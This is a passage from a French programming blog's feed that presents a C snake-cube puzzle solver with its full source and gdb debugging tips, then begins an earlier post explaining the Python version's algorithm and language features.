<p>Pour obtenir la <a href="http://fr.wikipedia.org/wiki/Pile_d%27ex%C3%A9cution">pile d&#8217;exécution</a>&nbsp;:</p>
<pre>(gdb) bt
#0  volume_helper_can_move (vector=...) at csnakesolver.c:215
#1  0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
    at csnakesolver.c:438
#2  0x0000000000401191 in solve () at csnakesolver.c:407
#3  0x00000000004013de in main () at csnakesolver.c:475</pre>
<p>Pour avancer dans le programme, 3 commandes sont indispensables&nbsp;:</p>
<ul>
<li><code>c</code> (<em>continue</em>) pour dérouler le programme jusqu&#8217;au prochain point d&#8217;arrêt&nbsp;;</li>
<li><code>n</code> (<em>next</em>) pour exécuter la ligne suivante complètement&nbsp;;</li>
<li><code>s</code> (<em>step</em>) pour rentrer dans la fonction sur la ligne suivante et l&#8217;exécuter ligne à ligne.</li>
</ul>
<p>Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.</p>
<h3>Conclusion</h3>
<p>Un programme écrit en <em>C</em> est plus rapide qu&#8217;un programme écrit en <em>Python</em> (ah bon&nbsp;?), dans une proportion plus importante que je ne l&#8217;imaginais. Ce n&#8217;est qu&#8217;un test sur un exemple particulier, mais il donne déjà une petite idée.</p>
<p>La morale de l&#8217;histoire est qu&#8217;il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans la majorité des cas cependant, où les performances brutes ne sont pas cruciales, <em>Python</em> sera préféré à <em>C</em>.</p>
<h3>Code source</h3>
<p>Le programme est disponible <a href="http://dl.rom1v.com/snakesolver/">au même endroit</a> que la version <em>Python</em>&nbsp;: <a href="http://dl.rom1v.com/snakesolver/csnakesolver-0.1.c">csnakesolver-0.1.c</a>.</p>
<p><em>Par contre, désolé, cette version est beaucoup moins commentée que la version Python.</em></p>
<pre>/*
 * csnakesolver v0.1, 19th october 2011
 *
 * changelog:
 *   0.1
 *     - initial version
 *
 * Solver for generalized snake-cube:
 * http://en.wikipedia.org/wiki/Snake_cube
 * http://fr.wikipedia.org/wiki/Cube_serpent
 *
 * By Romain Vimont (®om)
 *   rom@rom1v.com
 */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdbool.h&gt;
#include &lt;string.h&gt;

#define EXEMPLE_L // change with EXEMPLE_M or EXEMPLE_L

#ifdef EXEMPLE_R
#define SNAKE_STRUCTURE {2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
#define STRUCTURE_VECTOR_COUNT 17
#define VOLUME_DIMENSIONS {3, 3, 3}
#define DIMENSIONS_COUNT 3
#endif

#ifdef EXEMPLE_M
#define SNAKE_STRUCTURE {2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
#define STRUCTURE_VECTOR_COUNT 46
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif

#ifdef EXEMPLE_L
#define SNAKE_STRUCTURE {1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}
#define STRUCTURE_VECTOR_COUNT 47
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif

#define VARIABLES {'x', 'y', 'z', 't'}
#define VARIABLES_COUNT 4

int structure[] = SNAKE_STRUCTURE;
int dimensions[] = VOLUME_DIMENSIONS;
int variables[] = VARIABLES;

int structure_length; // sum of SNAKE_STRUCTURE
int volume_size; // product of dimensions

typedef struct vector {
    int position;
    int value;
} vector_s;

typedef struct volume_helper {
    bool * flags; // length = product of all VOLUME_DIMENSIONS items
    vector_s path[STRUCTURE_VECTOR_COUNT];
    int path_length;
    int init_cursor[DIMENSIONS_COUNT];
    int cursor[DIMENSIONS_COUNT];
} volume_helper_s;

typedef struct symmetry_helper {
    int eq_classes_path[DIMENSIONS_COUNT * STRUCTURE_VECTOR_COUNT + 2];
    int * eq_classes;
} symmetry_helper_s;

vector_s new_vector(char position, char value);
void symmetry_helper_init(symmetry_helper_s * symmetry_helper);
void volume_helper_init(volume_helper_s * volume_helper);
void init();

char * vector_to_string(vector_s vector);
char * get_variable(char position);
char * get_canonical_number(char number);

char * cursor_to_string(int cursor[]);

void volume_helper_set_cursor(int cursor[]);
bool * volume_helper_get_flag_pointer(int cursor[]);
bool volume_helper_get_flag(int cursor[]);
void volume_helper_set_flag(int cursor[], bool value);
bool volume_helper_can_move(vector_s vector);
void volume_helper_move(vector_s vector);
void volume_helper_back();
void volume_helper_append_vector_in_path(vector_s vector) ;
vector_s volume_helper_pop_vector_in_path();

void symmetry_helper_init_eq_classes_from_dimensions();
bool symmetry_helper_inc_cursor(int cursor[]);
bool symmetry_helper_inc_cursor_rec(int cursor[], int index);
void symmetry_helper_set_cursor(int cursor[]);
void symmetry_helper_move(vector_s vector);
void symmetry_helper_back();
bool symmetry_helper_must_explore(int i);
bool eq_cmp(int p1, int p2, int dim);

bool solve();
bool solve_rec(int init_cursor[], int step);
bool solution(int * init_cursor, vector_s * path);

vector_s new_vector(char position, char value) {
    vector_s vector;
    vector.position = position;
    vector.value = value;
    return vector;
};

symmetry_helper_s symmetry_helper;
volume_helper_s volume_helper;

void symmetry_helper_init(symmetry_helper_s * symmetry_helper) {
    symmetry_helper-&gt;eq_classes = symmetry_helper-&gt;eq_classes_path;
}

void volume_helper_init(volume_helper_s * volume_helper) {
    volume_helper-&gt;flags = (bool *) malloc(volume_size * sizeof(bool));
    volume_helper-&gt;path_length = 0;
}

void init() {
    int i;
    volume_size = 1;
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        volume_size *= dimensions[i];
    }
    structure_length = 0;
    for (i = 0; i &lt; STRUCTURE_VECTOR_COUNT; i++) {
        structure_length += structure[i];
    }
    symmetry_helper_init(&#038;symmetry_helper);
    volume_helper_init(&#038;volume_helper);
}

char * vector_to_string(vector_s vector) {
    char * string = (char *) malloc(5 * sizeof(char));
    char * variable = get_variable(vector.position);
    char * canonical_number = get_canonical_number(vector.value);
    sprintf(string, "%s%s", canonical_number, variable);
    free(variable);
    free(canonical_number);
    return string;
}

char * get_variable(char position) {
    char * variable = (char *) malloc(3 * sizeof(char));
    if (position &lt; VARIABLES_COUNT) {
        sprintf(variable, "%c", variables[position]);
    } else {
        sprintf(variable, "k%i", position - VARIABLES_COUNT);
    }
    return variable;
}

char * get_canonical_number(char number) {
    char * canonical_number = (char *) malloc(3 * sizeof(char));
    if (number == (char) 1) {
        sprintf(canonical_number, "");
    } else if (number == (char) -1) {
        sprintf(canonical_number, "-");
    } else {
        sprintf(canonical_number, "%i", number);
    }
    return canonical_number;
}

char * cursor_to_string(int cursor[]) {
    char * result = (char *) malloc(255 * sizeof(char));
    char * s = result;
    int i;
    s += sprintf(s, "(");
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        if (i != 0) {
            s += sprintf(s, ", ");
        }
        s += sprintf(s, "%i", cursor[i]);
    }
    s += sprintf(s, ")");
    return result;
}

void volume_helper_set_cursor(int cursor[]) {
    volume_helper_set_flag(volume_helper.init_cursor, false);
    memcpy(volume_helper.init_cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    memcpy(volume_helper.cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    volume_helper_set_flag(cursor, true);
}

bool * volume_helper_get_flag_pointer(int cursor[]) {
    bool * p_flag = volume_helper.flags;
    int product = 1;
    int i;
    for (i = DIMENSIONS_COUNT - 1; i &gt;= 0; i--) {
        p_flag += cursor[i] * product;
        product *= dimensions[i];
    }
    return p_flag;
}

bool volume_helper_get_flag(int cursor[]) {
    return * volume_helper_get_flag_pointer(cursor);
}

void volume_helper_set_flag(int cursor[], bool value) {
    * volume_helper_get_flag_pointer(cursor) = value;
}

bool volume_helper_can_move(vector_s vector) {
    int cursor_position_value = volume_helper.cursor[vector.position];
    int new_value = cursor_position_value + vector.value;
    int future_cursor[DIMENSIONS_COUNT];
    int sign, i, abs_value;
    if (new_value &lt; 0 || new_value &gt;= dimensions[vector.position]) {
        return false;
    }
    memcpy(future_cursor, volume_helper.cursor, DIMENSIONS_COUNT * sizeof(int));
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        future_cursor[vector.position] += sign;
        if (volume_helper_get_flag(future_cursor)) {
            return false;
        }
    }
    return true;
}

void volume_helper_move(vector_s vector) {
    int sign, i, abs_value;
    volume_helper_append_vector_in_path(vector);
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        volume_helper.cursor[vector.position] += sign;
        volume_helper_set_flag(volume_helper.cursor, true);
    }
}

void volume_helper_back() {
    int sign, i, abs_value;
    vector_s vector = volume_helper_pop_vector_in_path();
    if (vector.value &lt; 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i &lt; abs_value; i++) {
        volume_helper_set_flag(volume_helper.cursor, false);
        volume_helper.cursor[vector.position] += -sign;
    }
}

void volume_helper_append_vector_in_path(vector_s vector) {
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    memcpy(current_vector, &#038;vector, sizeof(vector_s));
    volume_helper.path_length ++;
}

vector_s volume_helper_pop_vector_in_path() {
    volume_helper.path_length --;
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    vector_s vector;
    memcpy(&#038;vector, current_vector, sizeof(vector));
    return vector;
}

void symmetry_helper_init_eq_classes_from_dimensions() {
    // eq_classes from dimensions is the first item of eq_classes_path
    int * eq_classes = symmetry_helper.eq_classes_path;
    int i, j;
    int value;
    bool found;
    for (i = 1; i &lt; DIMENSIONS_COUNT; i++) {
        value = dimensions[i];
        j = 0;
        found = false;
        while (j &lt; i &#038;&#038; !found) {
            if (dimensions[j] == value) {
                eq_classes[i] = j;
                found = true;
            } else {
                j++;
            }
        }
        if (!found) {
            eq_classes[j] = j;
        }
    }
    symmetry_helper.eq_classes = eq_classes;
}

bool symmetry_helper_inc_cursor(int cursor[]) {
    return symmetry_helper_inc_cursor_rec(cursor, DIMENSIONS_COUNT - 1);
}

bool symmetry_helper_inc_cursor_rec(int cursor[], int index) {
    int * eq_classes = symmetry_helper.eq_classes_path;
    int value = cursor[index];
    int i;
    if (value &lt; (dimensions[index] - 1) / 2) {
        // the last coordinate can be incremented
        cursor[index] ++;
        return true;
    }
    // we must increment recursively the previous coordinate
    if (index == 0) {
        // there is no more coordinate to increment
        return false;
    }
    i = index - 1;
    if (!symmetry_helper_inc_cursor_rec(cursor, i)) {
        return false;
    }
    while (i &gt;= 0 &#038;&#038; eq_classes[i] != eq_classes[index]) {
        i--;
    }
    if (i &gt;= 0) {
        // coordinate value must at least equals the previous coordinates
        // in the same equivalence class
        cursor[index] = cursor[i];
    } else {
        cursor[index] = 0;
    }
    return true;
}

void symmetry_helper_set_cursor(int cursor[]) {
    int * eq_classes_path = symmetry_helper.eq_classes_path;
    int * cursor_eq_classes = symmetry_helper.eq_classes_path + DIMENSIONS_COUNT;
    int i, j, old_class;

    symmetry_helper.eq_classes = cursor_eq_classes;
    // copy the eq_classes computed from the dimensions into the next segment
    memcpy(cursor_eq_classes, eq_classes_path, DIMENSIONS_COUNT * sizeof(int));
    for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
        if (cursor_eq_classes[i] != i &#038;&#038; !eq_cmp(cursor_eq_classes[i], cursor[i], dimensions[i])) {
            old_class = cursor_eq_classes[i];
            cursor_eq_classes[i] = i;
            for (j = i + 1; j &lt; DIMENSIONS_COUNT; j++) {
                if (cursor_eq_classes[j] == old_class) {
                    cursor_eq_classes[j] = i;
                }
            }
        }
    }
}

void symmetry_helper_move(vector_s vector) {
    int position = vector.position;
    int * previous_eq_classes = symmetry_helper.eq_classes;
    int * new_eq_classes = previous_eq_classes + DIMENSIONS_COUNT;

    int new_eq_class = -1;
    int i;
    memcpy(new_eq_classes, previous_eq_classes, DIMENSIONS_COUNT * sizeof(int));
    for (i = position + 1; i &lt; DIMENSIONS_COUNT; i++) {
        if (new_eq_classes[i] == position) {
            if (new_eq_class == -1) {
                new_eq_class = i;
            }
            new_eq_classes[i] = new_eq_class;
        }
    }
    symmetry_helper.eq_classes = new_eq_classes;
}

void symmetry_helper_back() {
    symmetry_helper.eq_classes -= DIMENSIONS_COUNT;
}

bool symmetry_helper_must_explore(int i) {
    return symmetry_helper.eq_classes[i] == i;
}

bool eq_cmp(int p1, int p2, int dim) {
    return p1 == p2 || p1 + p2 + 1 == dim;
}

bool solve() {
    int cursor[DIMENSIONS_COUNT] = {}; // init with zeros
    int i;
    if (structure_length + 1 != volume_size) {
        fprintf(stderr,
                "Structure has not the right length (%i instead of %i)\n",
                structure_length, volume_size);
        return false;
    }

    do {
        volume_helper_set_cursor(cursor);
        symmetry_helper_set_cursor(cursor);
        if (!solve_rec(cursor, 0)) {
            return false;
        }
    } while (symmetry_helper_inc_cursor(cursor));

    // explored all possible solutions
    return true;
}

bool solve_rec(int init_cursor[], int step) {
    int previous_position;
    int norm = structure[step];
    int vector_value;
    int i, k;
    vector_s possible_vector;
    if (step == STRUCTURE_VECTOR_COUNT) {
        if (!solution(volume_helper.init_cursor, volume_helper.path)) {
            // stop searching for new solutions
            return false;
        }
    } else {
        if (volume_helper.path_length == 0) {
            previous_position = -1;
        } else {
            previous_position = volume_helper.path[volume_helper.path_length -1].position;
        }
        for (i = 0; i &lt; DIMENSIONS_COUNT; i++) {
            if (i != previous_position &#038;&#038; symmetry_helper_must_explore(i)) {
                for (k = 0; k &lt; 2; k++) {
                    vector_value = k == 0 ? norm : -norm;
                    possible_vector = new_vector(i, vector_value);
                    if (volume_helper_can_move(possible_vector)) {
                        volume_helper_move(possible_vector);
                        symmetry_helper_move(possible_vector);
                        if (!solve_rec(init_cursor, step + 1)) {
                            return false;
                        }
                        volume_helper_back();
                        symmetry_helper_back();
                    }
                }
            }
        }
    }
    return true;
}

bool solution(int * init_cursor, vector_s * path) {
    int i;
    char * vector_string;
    vector_s vector;
    printf("(%s, [", cursor_to_string(init_cursor));
    for (i = 0; i &lt; STRUCTURE_VECTOR_COUNT; i++) {
        if (i != 0) {
            printf(", ");
        }
        vector = path[i];
        vector_string = vector_to_string(vector);
        printf("%s", vector_string);
        free(vector_string);
    }
    printf("])\n");
    // stop after the first solution
    return false;
}

int main(void) {
    init();
    solve();
    exit(0);
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Résoudre le cube-serpent en Python</title>
		<link>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/</link>
		<comments>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 21:10:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[scripts]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2954</guid>
		<description><![CDATA[Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu&#8217;un serpent en résout un autre). Mon but était surtout d&#8217;apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c&#8217;est de la force brute). Il m&#8217;a permis de découvrir différents aspects de Python. Je [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/09/cube-serpent.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/09/cube-serpent.jpg" alt="" title="cube-serpent" width="218" height="191" class="alignright size-full wp-image-2964" /></a></p>
<p>Je me suis amusé à écrire un petit programme en <a href="http://fr.wikipedia.org/wiki/Python_%28langage%29">Python</a> qui résout le <a href="http://fr.wikipedia.org/wiki/Cube_serpent">cube-serpent</a> (ainsi nous pouvons dire qu&#8217;un serpent en résout un autre).<br />
Mon but était surtout d&#8217;apprendre le langage <em>Python</em>, avec un problème intéressant, pas trop compliqué (c&#8217;est de la <a href="http://fr.wikipedia.org/wiki/Recherche_par_force_brute">force brute</a>). Il m&#8217;a permis de découvrir différents aspects de <em>Python</em>.<br />
<ins datetime="2011-10-19T00:00:00+01:00">Je l&#8217;ai également <a href="http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/">implémenté en C</a>.</ins></p>
<p>L&#8217;algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d&#8217;autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en <a href="http://fr.wikipedia.org/wiki/Hypercube">hypercube</a>…</p>
<p>Je vais d&#8217;abord présenter le problème et décrire l&#8217;algorithme de résolution et survoler l&#8217;implémentation, puis je vais m&#8217;attarder sur certaines fonctionnalités de <em>Python</em> qui m&#8217;ont semblé très intéressantes.</p>
<h3>Résolution</h3>
<h4>Problème</h4>
<p>Le but est de replier la structure du serpent pour qu&#8217;elle forme un volume, par exemple un cube.</p>
<p>La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur <a href="http://fr.wikipedia.org/wiki/Fichier:Snakecube_1.jpg">Wikipedia</a> est la suivante&nbsp;:</p>
<pre>[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]</pre>
<p>Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d&#8217;orientation dans l&#8217;espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube&nbsp;: il y a donc 27 sommets pour un cube 3×3×3.</p>
<p>L&#8217;objectif est de trouver un <a href="http://fr.wikipedia.org/wiki/Graphe_hamiltonien#Chemin_hamiltonien">chemin hamiltonien</a> (un chemin qui passe par tous les sommets du graphe une fois et une seule) qui respecte la contrainte de la structure du serpent.</p>
<h4>Principe</h4>
<p>Pour trouver les solutions, il suffit de partir d&#8217;un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes&nbsp;:</p>
<ul>
<li>rester dans le volume (évidemment)&nbsp;;</li>
<li>le n<sup>ième</sup> vecteur doit être orthogonal au (n-1)<sup>ième</sup> vecteur (cette règle ne s&#8217;applique pas pour le tout premier vecteur)&nbsp;;</li>
<li>le vecteur &laquo;&nbsp;placé&nbsp;&raquo; dans le cube ne doit pas passer par une position déjà occupée (physiquement, il n&#8217;est pas possible de faire passer une partie du serpent à travers une autre).</li>
</ul>
<p>Il faut donc placer récursivement tous les vecteurs possibles, c&#8217;est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu&#8217;à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).</p>
<p>Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).</p>
<h4>Limites</h4>
<p>Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions &laquo;&nbsp;identiques&nbsp;&raquo;. Une amélioration serait de les détecter &laquo;&nbsp;au plus tôt&nbsp;&raquo; et de ne pas les construire.</p>
<p><ins datetime="2011-10-01T00:00:00+01:00">La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d&#8217;explications dans <a href="#comment-72460">ce commentaire</a> et <a href="#comment-72497">le suivant</a>.</ins></p>
<h3>Implémentation</h3>
<p>Voici une explication succincte des différentes parties du programme (pour plus d&#8217;informations, lire les commentaires dans le code).</p>
<h4>Vector</h4>
<p>Nous avons besoins de vecteurs, mais pas n&#8217;importe lesquels&nbsp;: seulement ceux qui ont une et une seule composante non-nulle, c&#8217;est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.</p>
<p>Ainsi, au lieu de stocker toutes les composantes, le <code>Vector</code> ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler).</p>
<pre>Vector(position, value)</pre>
<h4>VolumeHelper</h4>
<p>Cette classe définit l&#8217;outil que va utiliser le solveur pour noter tout ce qu&#8217;il fait&nbsp;: le chemin emprunté et les sommets déjà visités. À chaque fois qu&#8217;il place un vecteur dans le volume, il &laquo;&nbsp;allume les petites lumières&nbsp;&raquo; associées aux sommets visités, et quand il revient en arrière (pour chercher d&#8217;autres solutions), il éteint ces petites lumières (par <em>lumières</em>, comprenez <em>booléens</em>).</p>
<h4><ins datetime="2011-10-01T00:00:00+01:00">SymmetryHelper</ins></h4>
<p><ins datetime="2011-10-01T00:00:00+01:00">Cette classe a été ajoutée dans la version 0.2.<br />
Elle définit l&#8217;outil que va utiliser le solveur pour n&#8217;explorer que les solutions nécessaires, en ignorant les symétries et les rotations.</ins></p>
<h4>Solver</h4>
<p>Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s&#8217;aidant du <code>VolumeHelper</code>) afin de trouver toutes les solutions.</p>
<h4>Solutions</h4>
<p>Lors de l&#8217;exécution du script, les solutions s&#8217;affichent au fur et à mesure&nbsp;:</p>
<pre>$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...</pre>
<p>Considérons la première solution&nbsp;:</p>
<pre>([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])</pre>
<p>Le point de départ est <code>[0, 0, 0]</code>. On se déplace d&#8217;abord de <code>2</code> sur l&#8217;axe <code>x</code>, puis de <code>1</code> sur l&#8217;axe <code>y</code>, de <code>-1</code> sur l&#8217;axe <code>x</code>, etc.<br />
Voici la représentation graphique de cette solution&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/09/solution-cube-serpent.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/09/solution-cube-serpent-268x300.png" alt="" title="solution-cube-serpent" width="268" height="300" class="aligncenter size-medium wp-image-2972" /></a></p>
<h3>Fonctionnalités de Python</h3>
<p>Maintenant, voici quelques éléments essentiels du langage <em>Python</em> dont je me suis servi pour ce programme.</p>
<h4>Compréhension de liste</h4>
<p>La <a href="http://docs.python.org/tutorial/datastructures.html#list-comprehensions">compréhension de liste</a> (ou <a href="http://fr.wikipedia.org/wiki/G%C3%A9n%C3%A9rateur_%28informatique%29">liste en compréhension</a>) est très pratique. Je l&#8217;ai utilisée plusieurs fois dans l&#8217;algorithme. Je vais détailler deux exemples.</p>
<p>D&#8217;abord, dans la classe <code>VolumeHelper</code>&nbsp;:</p>
<pre>def all_points(self, index=0):
    if index == len(self.dimensions):
        return [[]]
    return <strong>([h] + t for h in xrange(self.dimensions[index])</strong>
            <strong>for t in self.all_points(index + 1))</strong></pre>
<p>La partie mise en gras signifie&nbsp;:</p>
<blockquote><p>tous les éléments de la forme <code>[h] + t</code> (l&#8217;élément <code>h</code> en tête de liste suivie de la queue de la liste) pour <code>h</code> compris entre <code>0</code> et <code>self.dimensions[index]</code> (un entier) et pour tout <code>t</code> compris dans les résultats de l&#8217;appel récursif</p></blockquote>
<p>Ça ne vous éclaire pas&nbsp;? Dit plus simplement&nbsp;:</p>
<blockquote><p>le résultat de la concaténation de chacun des nombres de <code>0</code> à <code>n</code> (avec <code>n = self.dimensions[index]</code>) à chacune des listes fournies par l&#8217;appel récursif</p></blockquote>
<p>En fait, cette fonction fournit tous les points possibles pour les dimensions données.<br />
Par exemple, si <code>dimensions = [2, 2]</code>, alors le résultat sera&nbsp;:</p>
<pre>[[0, 0], [0, 1], [1, 0], [1, 1]]</pre>
<p>Pour <code>dimensions = [2, 2, 3]</code>, le résultat sera&nbsp;:</p>
<pre>[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1,
0, 0], [1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]</pre>
<p>Sans compréhension de liste, il serait difficile d&#8217;écrire le corps de cette fonction en 3 lignes&nbsp;!</p>
<p><em>Remarque&nbsp;: la compréhension de liste retourne une liste si elle est définie entre <code>[]</code>, alors qu&#8217;elle retourne un <a href="http://fr.wikipedia.org/wiki/G%C3%A9n%C3%A9rateur_%28informatique%29">générateur</a> (un </em>itérateur<em>) si elle est définie entre <code>()</code>.</em></p>
<p>Second exemple, dans <code>Solver.__solve_rec(…)</code>&nbsp;:</p>
<pre>for possible_vector in <strong>( Vector(i, v)</strong>
                         <strong>for v in [ norm, -norm ]</strong>
                         <strong>for i in xrange(len(self.dimensions))</strong>
                         <strong>if i != previous_position )</strong>:</pre>
<p>Cette partie fournit un ensemble de <code>Vector(i, v)</code>, pour toutes les combinaisons de <code>i</code> et de <code>v</code> dans leurs ensembles respectifs, qui vérifient la condition (qui ici ne porte que sur <code>i</code>).<br />
En clair, ici nous récupérons tous les vecteurs possibles, c&#8217;est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.</p>
<h4>Itérateur</h4>
<p>La notion d&#8217;<a href="http://fr.wikipedia.org/wiki/It%C3%A9rateur">itérateur</a> est présente dans beaucoup d&#8217;autres langages. Un <a href="http://docs.python.org/library/stdtypes.html#iterator-types">itérateur</a> retourne un nouvel élément à chaque appel à la méthode <code>next()</code>. En pratique, il est souvent utilisé de manière transparente dans une boucle <code>for <em>variable</em> in <em>iterator</em></code>&nbsp;:</p>
<pre>for i in xrange(10):
    print i</pre>
<p><a href="http://docs.python.org/library/functions.html#xrange"><code>xrange(…)</code></a> retourne un <em>itérateur</em> et fournit les valeurs au fur et à mesure, alors que <a href="http://docs.python.org/library/functions.html#range"><code>range(…)</code></a> crée la liste de toutes les valeurs, qui est ensuite parcourue.</p>
<h4>Yield</h4>
<p>Les <a href="http://docs.python.org/reference/expressions.html#yieldexpr">expressions yield</a> permettent de créer un <em>itérateur</em> très simplement.</p>
<p>Pour résoudre le cube-serpent, il est préférable d&#8217;une part de <strong>fournir les solutions au fur et à mesure qu&#8217;elles sont trouvées</strong>, et d&#8217;autre part <strong>de pouvoir ne calculer que les <em>k</em> premières solutions</strong>.</p>
<p>La première contrainte est souvent résolue grâce à des <a href="http://en.wikipedia.org/wiki/Callback_%28computer_science%29">callbacks</a>&nbsp;: la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.</p>
<p>La seconde est plus délicate&nbsp;: elle implique que l&#8217;algorithme s&#8217;arrête dès qu&#8217;il trouve une solution, et que lors d&#8217;un prochain appel il reprenne le calcul là où il s&#8217;était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un <em>itérateur</em> simple comme celui d&#8217;une liste, il suffit de stocker l&#8217;index courant de parcours, et de l&#8217;incrémenter à chaque appel à <code>next()</code>. Gérer manuellement l&#8217;itération sur les solutions du cube-serpent semble beaucoup plus complexe, d&#8217;autant plus que les solutions sont trouvées dans des appels récursifs.</p>
<p>C&#8217;est là qu&#8217;interviennent les expressions <em>yield</em>, qui répondent aux deux besoins en même temps. Utiliser une expression <em>yield</em> dans le corps d&#8217;une fonction suffit à transformer cette fonction en un <em>générateur</em>. Il n&#8217;est donc plus possible de retourner de valeur grâce à <code>return</code>.</p>
<p>Dès que l&#8217;expression <em>yield</em> est rencontrée, la valeur est transmise et l&#8217;exécution de la fonction s&#8217;arrête. Elle reprendra lors du prochain appel.</p>
<p>Afin d&#8217;utiliser ce principe pour la génération des solutions, les fonctions <code>SnakeCubeSolver.solve()</code> et <code>SnakeCubeSolver.__solve_rec(…)</code> ne sont donc pas des fonctions ordinaires, mais des <em>générateurs</em>&nbsp;:</p>
<pre>if step == len(self.structure):
    yield init_cursor, self.volume_helper.path[:]</pre>
<p>Grâce à cette implémentation, il est possible de parcourir toutes les solutions&nbsp;:</p>
<pre>for solution in solver.solve():
    print solution</pre>
<p>ou alors de ne générer que les <code>k</code> premières&nbsp;:</p>
<pre>max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
    try:
        print solutions.next()
    except StopIteration:
        break</pre>
<h4>Lambdas</h4>
